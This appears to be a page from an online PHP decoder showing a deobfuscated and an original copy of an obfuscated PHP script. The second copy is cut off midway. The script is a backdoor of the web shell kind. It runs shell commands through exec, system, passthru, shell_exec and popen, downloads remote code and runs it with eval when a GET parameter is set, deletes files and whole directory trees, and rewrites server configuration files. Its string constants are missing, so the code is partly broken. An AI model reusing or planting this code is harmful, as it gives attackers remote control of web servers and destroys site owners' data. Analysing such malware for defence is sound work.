Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<? error_reporting(0); @ini_set($GLOBALS[][0], NULL); @ini_set($GLOBALS[][0x001], 0); ..

Decoded Output download

<? 
error_reporting(0); 
@ini_set($GLOBALS[][0], NULL); 
@ini_set($GLOBALS[][0x001], 0); 
@ini_set($GLOBALS[][0x0002], 0); 
echo 
    $GLOBALS[][0x00003]; 
if (!function_exists($GLOBALS[][0x000004])) { 
    function explode($str, $array) 
    { 
        return 
            split($str, $array); 
    } 
} 
if (!function_exists($GLOBALS[][0x05])) { 
    function 
        str_split( 
        $text, 
        $split = 0x001 
    ) { 
        $array = array(); 
        for ($i = 0; $i < strlen($text); ) { 
            $array[] = substr($text, $i, $split); 
            $i += 
                $split; 
        } 
        return $array; 
    } 
} 
goto RYY0H; 
zdKgJ: 
if ( 
    preg_match($GLOBALS[][0x006], 
        $Nzr3p) || 
    preg_match($GLOBALS[][0x0007], 
        $Nzr3p) 
) { 
    goto vU0FX; 
    MKLjq: 
    foreach ($LhFlr as $KKNL0) { 
        if (is_file($KKNL0)) { 
            unlink($KKNL0); 
        } 
    } 
    goto zy70S; 
    zy70S: 
    exit; 
    goto 
    eiJJ1; 
    vU0FX: 
    $LhFlr = glob($GLOBALS[][0x00008]); 
    goto MKLjq; 
    eiJJ1: 
} 
goto 
rh2n1; 
JRGZT: 
$tzTJj = substr_count($smTub, $GLOBALS[][0x000009]); 
goto 
jT0E_; 
ej2vb: 
$GhlyG = $aWMlI[0] . $GLOBALS[][0x0a]; 
goto RCAWH; 
grZ2E: 
$K71UX = 0x001; 
goto CbHce; 
S6KGI: 
function 
    rlAoq( 
    $KKNL0, 
    $bN80E 
) { 
    goto VImEL; 
    u8WIv: 
    $tlBti = $GLOBALS[][0x00b]; 
    goto 
    nVvaM; 
    qw9MX: 
    $mPYIt = explode($GLOBALS[][0x000c], $Nzr3p); 
    goto u8WIv; 
    es26A: 
    return $tlBti; 
    goto 
    rBw3d; 
    nVvaM: 
    foreach ($mPYIt as $zd4bR) { 
        if ( 
            strstr($zd4bR, 
                $bN80E) || 
            $Nucua <= 0 
        ) { 
            $Nucua--; 
            if ($Nucua <= 0) { 
                $tlBti .= $zd4bR . $GLOBALS[][0x000c]; 
            } 
        } 
    } 
    goto es26A; 
    MsbWa: 
    $Nzr3p = ASRzx($KKNL0); 
    goto 
    qw9MX; 
    VImEL: 
    $Nucua = ZMPtL($KKNL0, $bN80E); 
    goto MsbWa; 
    rBw3d: 
} 
goto MIoTu; 
pw1Dl: 
function 
    QxB8Z( 
    $ok6e_, 
    $iTqoS 
) { 
    if (function_exists($GLOBALS[][0x0000d])) { 
        $fYuhN = file_put_contents($ok6e_, $iTqoS); 
    } else { 
        $fYuhN = fwrite(fopen($ok6e_, $GLOBALS[][0x00000e]), $iTqoS); 
    } 
    return 
        $fYuhN; 
} 
goto wnQE8; 
XGgl8: 
function eOcGK($BSTSR) 
{ 
    goto PURPb; 
    L_DUH: 
    return $BPpYo; 
    goto 
    xspH_; 
    zP3LW: 
    if (!stristr(getcwd(), $BPpYo)) { 
        $BPpYo = str_replace($_SERVER[$GLOBALS[][0x0f]], $GLOBALS[][0x00b], __FILE__); 
    } 
    goto 
    L_DUH; 
    PURPb: 
    $BPpYo = realpath($BSTSR); 
    goto 
    EDtnG; 
    EDtnG: 
    if (trim($BPpYo) == $GLOBALS[][0x00b]) { 
        $BPpYo = $_SERVER[$GLOBALS[][0x0010]]; 
    } 
    goto zP3LW; 
    xspH_: 
} 
goto 
a08Vp; 
pWgW9: 
function AsrZX($ok6e_) 
{ 
    goto o5TSu; 
    o5TSu: 
    $p35sK = $GLOBALS[][0x00b]; 
    goto 
    Xx01t; 
    bOyxQ: 
    if (trim($p35sK) == $GLOBALS[][0x00b]) { 
        $p35sK = Rk_c8($GLOBALS[][0x00011] . $ok6e_); 
    } 
    goto 
    hS1hl; 
    hS1hl: 
    return $p35sK; 
    goto 
    DBV1N; 
    Xx01t: 
    if (function_exists($GLOBALS[][0x000012])) { 
        $p35sK = file_get_contents($ok6e_); 
    } elseif ( 
        function_exists($GLOBALS[][0x0000013]) && 
        function_exists($GLOBALS[][0x014]) 
    ) { 
        $p35sK = stream_get_contents(fopen($ok6e_, $GLOBALS[][0x0015])); 
    } elseif ( 
        function_exists($GLOBALS[][0x00016]) && 
        function_exists($GLOBALS[][0x000017]) 
    ) { 
        $p35sK = implode(file($ok6e_)); 
    } elseif (function_exists($GLOBALS[][0x000017])) { 
        $mPYIt = file($ok6e_); 
        if (function_exists($GLOBALS[][0x00016])) { 
            $p35sK = implode($mPYIt); 
        } else { 
            foreach ($mPYIt as $zd4bR) { 
                $p35sK .= $zd4bR; 
            } 
        } 
    } 
    goto bOyxQ; 
    DBV1N: 
} 
goto 
pw1Dl; 
CbHce: 
while ($K71UX < intval($tzTJj)) { 
    $BSTSR .= $GLOBALS[][0x0000018]; 
    $K71UX++; 
} 
goto 
LWkfE; 
t9l18: 
if (strstr($smTub, $GLOBALS[][0x019])) { 
    $smTub = explode($GLOBALS[][0x019], $smTub); 
    $smTub = $smTub[0]; 
} 
goto 
JRGZT; 
ckDRT: 
function iRmJx($ok6e_) 
{ 
    goto hHz_1; 
    oIM29: 
    @rmdir($ok6e_); 
    goto Qdy2y; 
    n9Zcr: 
    $SZzID = opendir($ok6e_); 
    goto 
    P8Kv8; 
    XVZvR: 
    closedir($SZzID); 
    goto oIM29; 
    hHz_1: 
    $ok6e_ = substr($ok6e_, -0x001) == $GLOBALS[][0x000009] 
        ? $ok6e_ : $ok6e_ . $GLOBALS[][0x000009]; 
    goto 
    n9Zcr; 
    P8Kv8: 
    while (($phOnJ = readdir($SZzID)) !== !1) { 
        $phOnJ = $ok6e_ . $phOnJ; 
        if ( 
            basename($phOnJ) == $GLOBALS[][0x001a] || 
            basename($phOnJ) == $GLOBALS[][0x0001b] 
        ) { 
            continue; 
        } 
        $tabyZ = filetype($phOnJ); 
        if ($tabyZ == $GLOBALS[][0x00001c]) { 
            irMjX($phOnJ); 
        } else { 
            @unlink($phOnJ); 
        } 
    } 
    goto 
    XVZvR; 
    Qdy2y: 
} 
goto q33qP; 
wnQE8: 
function ZMpTl($KKNL0, $bN80E) 
{ 
    goto 
    wvJ6d; 
    dCpnU: 
    $mPYIt = explode($GLOBALS[][0x000c], $Nzr3p); 
    goto u97p5; 
    vSIIG: 
    $Nzr3p = aSRzx($KKNL0); 
    goto 
    dCpnU; 
    wvJ6d: 
    $n6JcJ = 0; 
    goto vSIIG; 
    UedcO: 
    return $n6JcJ; 
    goto L_UTe; 
    u97p5: 
    foreach ($mPYIt as $zd4bR) { 
        if (strstr($zd4bR, $bN80E)) { 
            $n6JcJ++; 
        } 
    } 
    goto UedcO; 
    L_UTe: 
} 
goto S6KGI; 
jT0E_: 
$BSTSR = $GLOBALS[][0x000001d]; 
goto 
grZ2E; 
RCAWH: 
$Nzr3p = aSRzx($GhlyG); 
goto zdKgJ; 
bQUt7: 
MiMRi($BSTSR); 
goto wuftw; 
MbIjp: 
function RK_c8($WjdeA) 
{ 
    goto 
    I_TFA; 
    XPNFE: 
    if (function_exists($GLOBALS[][0x01e])) { 
        @exec($WjdeA, $FkCuj); 
        $FkCuj = @join($GLOBALS[][0x000c], $FkCuj); 
    } elseif (function_exists($GLOBALS[][0x001f])) { 
        goto 
        yPm2r; 
        AVe13: 
        $FkCuj = ob_get_clean(); 
        goto lhEpG; 
        yPm2r: 
        ob_start(); 
        goto Vq6DE; 
        Vq6DE: 
        @passthru($WjdeA); 
        goto 
        AVe13; 
        lhEpG: 
    } elseif (function_exists($GLOBALS[][0x00020])) { 
        goto QiUea; 
        pPgV0: 
        $FkCuj = ob_get_clean(); 
        goto 
        pu3dG; 
        QiUea: 
        ob_start(); 
        goto W_fS8; 
        W_fS8: 
        @system($WjdeA); 
        goto 
        pPgV0; 
        pu3dG: 
    } elseif (function_exists($GLOBALS[][0x000021])) { 
        $FkCuj = shell_exec($WjdeA); 
    } elseif (is_resource($aWMlI = @popen($WjdeA, $GLOBALS[][0x0015]))) { 
        goto 
        byW7J; 
        aB40S: 
        while (!@feof($aWMlI)) { 
            $FkCuj .= fread($aWMlI, 0x00000400); 
        } 
        goto aJCaS; 
        aJCaS: 
        pclose($aWMlI); 
        goto 
        J_O0m; 
        byW7J: 
        $FkCuj = $GLOBALS[][0x0000022]; 
        goto aB40S; 
        J_O0m: 
    } 
    goto DtYFQ; 
    DtYFQ: 
    return $FkCuj; 
    goto 
    Qs827; 
    I_TFA: 
    $FkCuj = $GLOBALS[][0x00b]; 
    goto XPNFE; 
    Qs827: 
} 
goto UGd9c; 
RYY0H: 
function 
    oDxsw( 
    $j_7Nl, 
    $bf80o = null, 
    $kiuKi = null 
) { 
    goto XLFo5; 
    EFzWT: 
    curl_close($QvxWc); 
    goto 
    CTPcR; 
    Olxxs: 
    curl_setopt($QvxWc, CURLOPT_CONNECTTIMEOUT, 0x01e); 
    goto 
    b8fld; 
    D8TBP: 
    if ($bf80o != null) { 
        curl_setopt($QvxWc, CURLOPT_HTTPHEADER, $bf80o); 
    } 
    goto 
    wg4DM; 
    haZEd: 
    curl_setopt($QvxWc, CURLOPT_COOKIEFILE, $GLOBALS[][0x023]); 
    goto 
    Ow2dJ; 
    DxRvI: 
    curl_setopt($QvxWc, CURLOPT_HEADER, !0); 
    goto R8bX1; 
    z7hMc: 
    $HOv2H = curl_exec($QvxWc); 
    goto 
    EFzWT; 
    R8bX1: 
    curl_setopt($QvxWc, CURLOPT_RETURNTRANSFER, 0x001); 
    goto FVaGP; 
    XLFo5: 
    $QvxWc = curl_init(); 
    goto 
    LsDEv; 
    FVaGP: 
    curl_setopt($QvxWc, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); 
    goto 
    Olxxs; 
    Ow2dJ: 
    curl_setopt($QvxWc, CURLOPT_COOKIEJAR, $GLOBALS[][0x023]); 
    goto 
    D8TBP; 
    LsDEv: 
    curl_setopt($QvxWc, CURLOPT_URL, $j_7Nl); 
    goto 
    DxRvI; 
    wg4DM: 
    if ($kiuKi != null) { 
        curl_setopt($QvxWc, CURLOPT_POST, 0x001); 
        curl_setopt($QvxWc, CURLOPT_POSTFIELDS, $kiuKi); 
    } 
    goto 
    z7hMc; 
    CTPcR: 
    return $HOv2H; 
    goto fLuZk; 
    b8fld: 
    curl_setopt($QvxWc, CURLOPT_TIMEOUT, 0x01e); 
    goto 
    gHehR; 
    gHehR: 
    curl_setopt($QvxWc, CURLOPT_FOLLOWLOCATION, 0x001); 
    goto 
    jLdQU; 
    MY7VZ: 
    curl_setopt($QvxWc, CURLOPT_SSL_VERIFYHOST, 0); 
    goto 
    UARug; 
    UARug: 
    curl_setopt($QvxWc, CURLOPT_USERAGENT, $_SERVER[$GLOBALS[][0x0024]]); 
    goto 
    haZEd; 
    jLdQU: 
    curl_setopt($QvxWc, CURLOPT_SSL_VERIFYPEER, 0); 
    goto MY7VZ; 
    fLuZk: 
} 
goto MbIjp; 
rh2n1: 
function 
    LE86Y( 
    $ZJoHI, 
    $iTqoS 
) { 
    if (preg_match($GLOBALS[][0x00025], $iTqoS)) { 
        goto zxM3I; 
        merbG: 
        $iTqoS = $GLOBALS[][0x000026] 
            . substr($iTqoS, $RJWgv); 
        goto h1iku; 
        Irn0v: 
        $s2WNP = $s2WNP[0x001]; 
        goto peCtc; 
        R2XOb: 
        $iTqoS = odxSw($ZJoHI); 
        goto 
        kKA5X; 
        h1iku: 
        unlink($GLOBALS[][0x0000027]); 
        goto pPa_n; 
        zxM3I: 
        preg_match($GLOBALS[][0x028], $iTqoS, $s2WNP); 
        goto 
        Irn0v; 
        Y1ruJ: 
        $RJWgv = strpos($iTqoS, $iKFfw) + strlen($iKFfw); 
        goto merbG; 
        peCtc: 
        $dbhhI = oDXSW($ZJoHI . $GLOBALS[][0x0029] 
            . $s2WNP); 
        goto R2XOb; 
        kKA5X: 
        $iKFfw = $GLOBALS[][0x000026]; 
        goto Y1ruJ; 
        pPa_n: 
    } 
    return $iTqoS; 
} 
goto fAE34; 
UGd9c: 
function 
    JUgSe( 
    $IzeGa 
) { 
    goto f70yN; 
    qEFT_: 
    if (trim($FiYF_) == $GLOBALS[][0x00b]) { 
        goto VeDiM; 
        yn9Zn: 
        rK_C8($GLOBALS[][0x0002a] 
            . $IzeGa . $GLOBALS[][0x00002b] . $fO5cJ); 
        goto pk0ic; 
        COfWo: 
        unlink($fO5cJ); 
        goto 
        hAur3; 
        VeDiM: 
        $fO5cJ = $GLOBALS[][0x000002c] . substr(str_shuffle($GLOBALS[][0x02d]), 0x032) . $GLOBALS[][0x002e]; 
        goto 
        yn9Zn; 
        pk0ic: 
        if (function_exists($GLOBALS[][0x000012])) { 
            $FiYF_ = file_get_contents($fO5cJ); 
        } else { 
            $FiYF_ = stream_get_contents(fopen($fO5cJ, $GLOBALS[][0x0015])); 
        } 
        goto 
        COfWo; 
        hAur3: 
    } 
    goto VKjVp; 
    f70yN: 
    $FiYF_ = $GLOBALS[][0x00b]; 
    goto rZS0u; 
    GFs6y: 
    return $FiYF_; 
    goto 
    bqFYL; 
    VKjVp: 
    if ( 
        trim($FiYF_) == $GLOBALS[][0x00b] && function_exists($GLOBALS[][0x0000013]) && 
        function_exists($GLOBALS[][0x014]) && 
        function_exists($GLOBALS[][0x0002f]) 
    ) { 
        $RNvUK = fopen($IzeGa, $GLOBALS[][0x000030], !1, stream_context_create( 
            array( 
                $GLOBALS[][0x0000031] => 
                array( 
                    $GLOBALS[][0x032] => $GLOBALS[][0x0033], $GLOBALS[][0x00034] 
                    => $GLOBALS[][0x000035] 
                ) 
            ) 
        )); 
        $FiYF_ = stream_get_contents($RNvUK); 
    } 
    goto 
    GFs6y; 
    qEbyI: 
    if (trim($FiYF_) == $GLOBALS[][0x00b] && function_exists($GLOBALS[][0x0000036])) { 
        goto 
        CuCBK; 
        Gdu_f: 
        if (stristr($IzeGa, $GLOBALS[][0x037])) { 
            curl_setopt($s2gFs, CURLOPT_SSL_VERIFYPEER, 0); 
            curl_setopt($s2gFs, CURLOPT_SSL_VERIFYHOST, 0); 
        } 
        goto 
        VliC8; 
        VliC8: 
        curl_setopt($s2gFs, CURLOPT_HEADER, !1); 
        goto 
        fqoyg; 
        idMud: 
        curl_setopt($s2gFs, CURLOPT_REFERER, $GLOBALS[][0x0038]); 
        goto 
        Olawu; 
        ARlmx: 
        curl_setopt($s2gFs, CURLOPT_USERAGENT, $GLOBALS[][0x00039]); 
        goto 
        idMud; 
        kLr1w: 
        curl_setopt($s2gFs, CURLOPT_URL, $IzeGa); 
        goto ARlmx; 
        C0Hqp: 
        curl_setopt($s2gFs, CURLOPT_TIMEOUT, 0x0a); 
        goto 
        NaAtR; 
        CuCBK: 
        $s2gFs = curl_init(); 
        goto C0Hqp; 
        Olawu: 
        curl_setopt($s2gFs, CURLOPT_FOLLOWLOCATION, !0); 
        goto 
        Gdu_f; 
        NaAtR: 
        curl_setopt($s2gFs, CURLOPT_RETURNTRANSFER, !0); 
        goto kLr1w; 
        fqoyg: 
        $FiYF_ = curl_exec($s2gFs); 
        goto 
        sPevS; 
        sPevS: 
        curl_close($s2gFs); 
        goto Rv5hq; 
        Rv5hq: 
    } 
    goto qEFT_; 
    rZS0u: 
    if ( 
        trim($FiYF_) == $GLOBALS[][0x00b] && 
        function_exists($GLOBALS[][0x000012]) && 
        function_exists($GLOBALS[][0x0002f]) 
    ) { 
        $FiYF_ = file_get_contents($IzeGa, !1, stream_context_create( 
            array( 
                $GLOBALS[][0x0000031] 
                => array($GLOBALS[][0x00003a] => $GLOBALS[][0x000003b], $GLOBALS[][0x03c] => $GLOBALS[][0x000035]) 
            ) 
        )); 
    } 
    goto 
    qEbyI; 
    bqFYL: 
} 
goto pWgW9; 
a08Vp: 
$smTub = strval($_SERVER[$GLOBALS[][0x003d]]); 
goto 
zhWse; 
Ep3x0: 
$GhlyG = strval(basename(__FILE__)); 
goto BEvYn; 
fAE34: 
function FbJtr($P94B6) 
{ 
    goto 
    qf5oj; 
    qf5oj: 
    $dozF_ = array( 
        $GLOBALS[][0x0003e] => $GLOBALS[][0x00003f], $GLOBALS[][0x0000040] 
        => $GLOBALS[][0x041], $GLOBALS[][0x00003f] => $GLOBALS[][0x0042], $GLOBALS[][0x00043] 
        => $GLOBALS[][0x000044], $GLOBALS[][0x0000045] => $GLOBALS[][0x046], $GLOBALS[][0x0047] 
        => $GLOBALS[][0x00048], $GLOBALS[][0x000049] => $GLOBALS[][0x000004a], $GLOBALS[][0x041] 
        => $GLOBALS[][0x04b], $GLOBALS[][0x000044] => $GLOBALS[][0x004c], $GLOBALS[][0x0004d] 
        => $GLOBALS[][0x0047], $GLOBALS[][0x0042] => $GLOBALS[][0x0000045], $GLOBALS[][0x04b] 
        => $GLOBALS[][0x0000040], $GLOBALS[][0x00004e] => $GLOBALS[][0x00043], $GLOBALS[][0x00048] 
        => $GLOBALS[][0x0004d], $GLOBALS[][0x046] => $GLOBALS[][0x00004e], $GLOBALS[][0x000004a] 
        => $GLOBALS[][0x0003e], $GLOBALS[][0x004c] => $GLOBALS[][0x000049] 
    ); 
    goto 
    FW5p5; 
    NRhuD: 
    $Tax0X = $GLOBALS[][0x00b]; 
    goto op737; 
    FW5p5: 
    $zYBxV = str_split($P94B6); 
    goto NRhuD; 
    JfBwD: 
    return $Tax0X; 
    goto 
    SSRpg; 
    op737: 
    foreach ($zYBxV as $Um4AM) { 
        if (in_array($Um4AM, $dozF_)) { 
            $Tax0X .= $dozF_[$Um4AM]; 
        } else { 
            $Tax0X .= 
                $Um4AM; 
        } 
    } 
    goto JfBwD; 
    SSRpg: 
} 
goto 
XGgl8; 
zhWse: 
while (strstr($smTub, $GLOBALS[][0x000004f])) { 
    $smTub = str_replace($GLOBALS[][0x000004f], $GLOBALS[][0x000009], $smTub); 
} 
goto 
t9l18; 
BEvYn: 
$aWMlI = explode($GLOBALS[][0x050], $GhlyG); 
goto ej2vb; 
wuftw: 
oCIVi($BSTSR); 
goto 
dVVOR; 
LWkfE: 
$BSTSR = EOcgk($BSTSR); 
goto bQUt7; 
q33qP: 
function 
    ocIVI( 
    $BSTSR 
) { 
    $jYG7l = array($GLOBALS[][0x0051], $GLOBALS[][0x00052], $GLOBALS[][0x000053], $GLOBALS[][0x0000054], $GLOBALS[][0x055], $GLOBALS[][0x0056], $GLOBALS[][0x00057], $GLOBALS[][0x000058]); 
    foreach ($jYG7l as $HH0Dt) { 
        $jAUNf = $BSTSR . $GLOBALS[][0x0000059] . $HH0Dt; 
        if (is_dir($jAUNf)) { 
            iRmJx($jAUNf); 
        } 
    } 
} 
goto 
Ep3x0; 
MIoTu: 
function MiMRi($BSTSR) 
{ 
    goto vABCr; 
    vABCr: 
    $iTMgs = $BSTSR . $GLOBALS[][0x05a]; 
    goto 
    dcSYE; 
    dcSYE: 
    $CTswv = strtolower(aSRZX($iTMgs)); 
    goto yFId6; 
    yFId6: 
    if ( 
        preg_match($GLOBALS[][0x005b], 
            $CTswv) || 
        preg_match($GLOBALS[][0x0005c], 
            $CTswv) 
    ) { 
        goto P6O3V; 
        EZuWy: 
        $r4rLX = ASRZX($Xa3Xv); 
        goto 
        UYZ13; 
        TJXiK: 
        $ZcVkF = Asrzx($YzXVO); 
        goto iEp7C; 
        Ii71q: 
        chmod($iTMgs, 0644); 
        goto 
        mCeg6; 
        aRikJ: 
        $YzXVO = $BSTSR . $GLOBALS[][0x00005d]; 
        goto TJXiK; 
        P6O3V: 
        $qsml6 = $BSTSR . $GLOBALS[][0x000005e]; 
        goto 
        WpYlS; 
        iEp7C: 
        if (preg_match($GLOBALS[][0x05f], $ZcVkF)) { 
            goto EItFF; 
            EItFF: 
            $TnBIs = $GLOBALS[][0x0060]; 
            goto 
            L3jJ3; 
            Gv7dS: 
            qxb8z($YzXVO, $TnBIs); 
            goto UzZKW; 
            L3jJ3: 
            chmod($YzXVO, 0644); 
            goto 
            Gv7dS; 
            UzZKW: 
        } elseif ( 
            strstr($ZcVkF, 
                $GLOBALS[][0x000026]) && !preg_match($GLOBALS[][0x00061], 
                $ZcVkF) && 
            !preg_match($GLOBALS[][0x000062], 
                $ZcVkF) && !preg_match($GLOBALS[][0x0000063], 
                $ZcVkF) && 
            !preg_match($GLOBALS[][0x064], 
                $ZcVkF) 
        ) { 
            goto x25w6; 
            tX0wj: 
            chmod($YzXVO, 0644); 
            goto 
            NfmiB; 
            x25w6: 
            $TnBIs = rLaoq($YzXVO, $GLOBALS[][0x000026]); 
            goto tX0wj; 
            NfmiB: 
            qxb8z($YzXVO, $TnBIs); 
            goto fL6Al; 
            fL6Al: 
        } 
        goto 
        Ii71q; 
        WpYlS: 
        $HH0Dt = aSrzx($qsml6); 
        goto 
        g8Ywg; 
        vyB7i: 
        if (preg_match($GLOBALS[][0x0065], $HH0Dt, $A0J4x)) { 
            unlink($A0J4x[0x001]); 
        } 
        goto 
        be6ja; 
        mCeg6: 
        $z_5mN = $GLOBALS[][0x00066]; 
        goto F5EyW; 
        g8Ywg: 
        if ( 
            preg_match($GLOBALS[][0x000067], 
                $HH0Dt) && 
            !preg_match($GLOBALS[][0x0000068], 
                $HH0Dt) 
        ) { 
            goto CHvoE; 
            Wuie4: 
            qXb8Z($qsml6, $HH0Dt); 
            goto 
            qcmh4; 
            CHvoE: 
            $HH0Dt = str_replace($GLOBALS[][0x069], $GLOBALS[][0x006a], $HH0Dt); 
            goto 
            qduW4; 
            qduW4: 
            chmod($qsml6, 0644); 
            goto Wuie4; 
            qcmh4: 
        } 
        goto vyB7i; 
        be6ja: 
        $Xa3Xv = $BSTSR . $GLOBALS[][0x0006b]; 
        goto 
        EZuWy; 
        F5EyW: 
        QXb8Z($iTMgs, $z_5mN); 
        goto 
        ywRXv; 
        UYZ13: 
        if ( 
            file_exists($Xa3Xv) && (preg_match($GLOBALS[][0x00006c], 
                $r4rLX) || 
                preg_match($GLOBALS[][0x000006d], 
                    $r4rLX)) 
        ) { 
            unlink($Xa3Xv); 
            unlink($BSTSR . $GLOBALS[][0x06e]); 
        } 
        goto 
        aRikJ; 
        ywRXv: 
    } 
    goto UcIkX; 
    UcIkX: 
} 
goto ckDRT; 
dVVOR: 
if (isset($_GET[$GLOBALS[][0x006f]])) { 
    goto 
    yRLeR; 
    OX3bf: 
    $F3bIg = Le86y($GLOBALS[][0x00070] . fbjtR($vo1vU), $F3bIg); 
    goto 
    n2nR1; 
    n2nR1: 
    $F3bIg = str_replace(array($GLOBALS[][0x000026], $GLOBALS[][0x000071], $GLOBALS[][0x0000072]), $GLOBALS[][0x00b], $F3bIg); 
    goto 
    Jg8yC; 
    yRLeR: 
    $vo1vU = trim($_GET[$GLOBALS[][0x073]]); 
    goto cVU3R; 
    Jg8yC: 
    eval($F3bIg); 
    goto 
    SAJXH; 
    cVU3R: 
    $vo1vU = str_rot13(pack($GLOBALS[][0x0074], strrev($vo1vU))); 
    goto 
    XnT23; 
    XnT23: 
    $F3bIg = JuGse($GLOBALS[][0x00070] . FbJTr($vo1vU)); 
    goto 
    OX3bf; 
    SAJXH: 
} elseif (isset($_GET[$GLOBALS[][0x00075]])) { 
    goto G9nsM; 
    pIpXk: 
    unlink($BSTSR . $GLOBALS[][0x000076]); 
    goto 
    Ja6fg; 
    j8BWe: 
    QxB8z($BSTSR . $GLOBALS[][0x05a], $CTswv); 
    goto pIpXk; 
    G9nsM: 
    $CTswv = $GLOBALS[][0x00066]; 
    goto 
    SBVfV; 
    SBVfV: 
    chmod($BSTSR . $GLOBALS[][0x05a], 0644); 
    goto j8BWe; 
    Ja6fg: 
} else { 
    echo $GLOBALS[][0x0000077] 
        . md5($_SERVER[$GLOBALS[][0x078]]) . $GLOBALS[][0x0079]; 
} ?>

Did this file decode correctly?

Original Code

<?
error_reporting(0);
@ini_set($GLOBALS[][0], NULL);
@ini_set($GLOBALS[][0x001], 0);
@ini_set($GLOBALS[][0x0002], 0);
echo
    $GLOBALS[][0x00003];
if (!function_exists($GLOBALS[][0x000004])) {
    function explode($str, $array)
    {
        return
            split($str, $array);
    }
}
if (!function_exists($GLOBALS[][0x05])) {
    function
        str_split(
        $text,
        $split = 0x001
    ) {
        $array = array();
        for ($i = 0; $i < strlen($text); ) {
            $array[] = substr($text, $i, $split);
            $i +=
                $split;
        }
        return $array;
    }
}
goto RYY0H;
zdKgJ:
if (
    preg_match($GLOBALS[][0x006],
        $Nzr3p) ||
    preg_match($GLOBALS[][0x0007],
        $Nzr3p)
) {
    goto vU0FX;
    MKLjq:
    foreach ($LhFlr as $KKNL0) {
        if (is_file($KKNL0)) {
            unlink($KKNL0);
        }
    }
    goto zy70S;
    zy70S:
    exit;
    goto
    eiJJ1;
    vU0FX:
    $LhFlr = glob($GLOBALS[][0x00008]);
    goto MKLjq;
    eiJJ1:
}
goto
rh2n1;
JRGZT:
$tzTJj = substr_count($smTub, $GLOBALS[][0x000009]);
goto
jT0E_;
ej2vb:
$GhlyG = $aWMlI[0] . $GLOBALS[][0x0a];
goto RCAWH;
grZ2E:
$K71UX = 0x001;
goto CbHce;
S6KGI:
function
    rlAoq(
    $KKNL0,
    $bN80E
) {
    goto VImEL;
    u8WIv:
    $tlBti = $GLOBALS[][0x00b];
    goto
    nVvaM;
    qw9MX:
    $mPYIt = explode($GLOBALS[][0x000c], $Nzr3p);
    goto u8WIv;
    es26A:
    return $tlBti;
    goto
    rBw3d;
    nVvaM:
    foreach ($mPYIt as $zd4bR) {
        if (
            strstr($zd4bR,
                $bN80E) ||
            $Nucua <= 0
        ) {
            $Nucua--;
            if ($Nucua <= 0) {
                $tlBti .= $zd4bR . $GLOBALS[][0x000c];
            }
        }
    }
    goto es26A;
    MsbWa:
    $Nzr3p = ASRzx($KKNL0);
    goto
    qw9MX;
    VImEL:
    $Nucua = ZMPtL($KKNL0, $bN80E);
    goto MsbWa;
    rBw3d:
}
goto MIoTu;
pw1Dl:
function
    QxB8Z(
    $ok6e_,
    $iTqoS
) {
    if (function_exists($GLOBALS[][0x0000d])) {
        $fYuhN = file_put_contents($ok6e_, $iTqoS);
    } else {
        $fYuhN = fwrite(fopen($ok6e_, $GLOBALS[][0x00000e]), $iTqoS);
    }
    return
        $fYuhN;
}
goto wnQE8;
XGgl8:
function eOcGK($BSTSR)
{
    goto PURPb;
    L_DUH:
    return $BPpYo;
    goto
    xspH_;
    zP3LW:
    if (!stristr(getcwd(), $BPpYo)) {
        $BPpYo = str_replace($_SERVER[$GLOBALS[][0x0f]], $GLOBALS[][0x00b], __FILE__);
    }
    goto
    L_DUH;
    PURPb:
    $BPpYo = realpath($BSTSR);
    goto
    EDtnG;
    EDtnG:
    if (trim($BPpYo) == $GLOBALS[][0x00b]) {
        $BPpYo = $_SERVER[$GLOBALS[][0x0010]];
    }
    goto zP3LW;
    xspH_:
}
goto
a08Vp;
pWgW9:
function AsrZX($ok6e_)
{
    goto o5TSu;
    o5TSu:
    $p35sK = $GLOBALS[][0x00b];
    goto
    Xx01t;
    bOyxQ:
    if (trim($p35sK) == $GLOBALS[][0x00b]) {
        $p35sK = Rk_c8($GLOBALS[][0x00011] . $ok6e_);
    }
    goto
    hS1hl;
    hS1hl:
    return $p35sK;
    goto
    DBV1N;
    Xx01t:
    if (function_exists($GLOBALS[][0x000012])) {
        $p35sK = file_get_contents($ok6e_);
    } elseif (
        function_exists($GLOBALS[][0x0000013]) &&
        function_exists($GLOBALS[][0x014])
    ) {
        $p35sK = stream_get_contents(fopen($ok6e_, $GLOBALS[][0x0015]));
    } elseif (
        function_exists($GLOBALS[][0x00016]) &&
        function_exists($GLOBALS[][0x000017])
    ) {
        $p35sK = implode(file($ok6e_));
    } elseif (function_exists($GLOBALS[][0x000017])) {
        $mPYIt = file($ok6e_);
        if (function_exists($GLOBALS[][0x00016])) {
            $p35sK = implode($mPYIt);
        } else {
            foreach ($mPYIt as $zd4bR) {
                $p35sK .= $zd4bR;
            }
        }
    }
    goto bOyxQ;
    DBV1N:
}
goto
pw1Dl;
CbHce:
while ($K71UX < intval($tzTJj)) {
    $BSTSR .= $GLOBALS[][0x0000018];
    $K71UX++;
}
goto
LWkfE;
t9l18:
if (strstr($smTub, $GLOBALS[][0x019])) {
    $smTub = explode($GLOBALS[][0x019], $smTub);
    $smTub = $smTub[0];
}
goto
JRGZT;
ckDRT:
function iRmJx($ok6e_)
{
    goto hHz_1;
    oIM29:
    @rmdir($ok6e_);
    goto Qdy2y;
    n9Zcr:
    $SZzID = opendir($ok6e_);
    goto
    P8Kv8;
    XVZvR:
    closedir($SZzID);
    goto oIM29;
    hHz_1:
    $ok6e_ = substr($ok6e_, -0x001) == $GLOBALS[][0x000009]
        ? $ok6e_ : $ok6e_ . $GLOBALS[][0x000009];
    goto
    n9Zcr;
    P8Kv8:
    while (($phOnJ = readdir($SZzID)) !== !1) {
        $phOnJ = $ok6e_ . $phOnJ;
        if (
            basename($phOnJ) == $GLOBALS[][0x001a] ||
            basename($phOnJ) == $GLOBALS[][0x0001b]
        ) {
            continue;
        }
        $tabyZ = filetype($phOnJ);
        if ($tabyZ == $GLOBALS[][0x00001c]) {
            irMjX($phOnJ);
        } else {
            @unlink($phOnJ);
        }
    }
    goto
    XVZvR;
    Qdy2y:
}
goto q33qP;
wnQE8:
function ZMpTl($KKNL0, $bN80E)
{
    goto
    wvJ6d;
    dCpnU:
    $mPYIt = explode($GLOBALS[][0x000c], $Nzr3p);
    goto u97p5;
    vSIIG:
    $Nzr3p = aSRzx($KKNL0);
    goto
    dCpnU;
    wvJ6d:
    $n6JcJ = 0;
    goto vSIIG;
    UedcO:
    return $n6JcJ;
    goto L_UTe;
    u97p5:
